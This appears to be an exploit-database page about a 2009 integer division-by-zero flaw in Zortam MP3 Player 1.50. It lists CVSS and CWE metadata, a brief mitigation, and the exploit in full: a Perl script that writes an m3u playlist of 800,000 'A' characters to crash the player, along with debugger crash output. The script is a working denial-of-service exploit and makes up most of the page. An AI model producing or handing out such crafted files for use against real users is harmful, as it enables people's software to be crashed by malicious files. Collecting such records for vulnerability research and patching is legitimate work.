header-logo
Suggest Exploit
vendor:
Zortam MP3 Player
by:
Gjoko 'LiquidWorm' Krstic
7,8
CVSS
HIGH
Integer Division by Zero Vulnerability
369
CWE
Product Name: Zortam MP3 Player
Affected Version From: 1.50
Affected Version To: 1.50
Patch Exists: YES
Related CWE: N/A
CPE: a:zortam:zortam_mp3_player
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Microsoft Windows XP Professional SP3 (English)
2009

Zortam MP3 Player 1.50 (m3u) Integer Division by Zero Vulnerability

A specially crafted m3u file with 800000 A characters can cause an integer division by zero vulnerability in Zortam MP3 Player 1.50, leading to a denial of service.

Mitigation:

Update to the latest version of Zortam MP3 Player.
Source

Exploit-DB raw data:

#!/usr/bin/perl
#
# Title: Zortam MP3 Player 1.50 (m3u) Integer Division by Zero Vulnerability
# Product Web Page: http://www.zortam.com
# Tested On: Microsoft Windows XP Professional SP3 (English)
#
#
###===---
#
# (1c0.7f8): Integer divide-by-zero - code c0000094 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=0000000d ebx=0019be80 ecx=00000000 edx=00000000 esi=0180f5dc edi=0000000a
# eip=0040f294 esp=0012f588 ebp=0180f570 iopl=0         nv up ei pl nz ac po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210212
# *** ERROR: Symbol file could not be found.  Defaulted to export symbols for zPlayer.exe - 
# zPlayer+0xf294:
# 0040f294 f7f9            idiv    eax,ecx
#
###===---
#
#
# Vulnerability Discovered By Gjoko 'LiquidWorm' Krstic
# liquidworm gmail com
# Zero Science Lab - http://www.zeroscience.org
# 16.07.2009
#

$fle = "Kung_PoW.m3u";
$mna = "A" x 800000;
print "\n\n[+] Creating playlist file: $fle ...\r\n";
sleep 1;
open(m3u, ">./$fle") || die "\n\aCannot open $fle: $!";
print m3u "$mna";
close (m3u);
print "\n[+] Playlist file successfully created!\r\n";

# milw0rm.com [2009-07-16]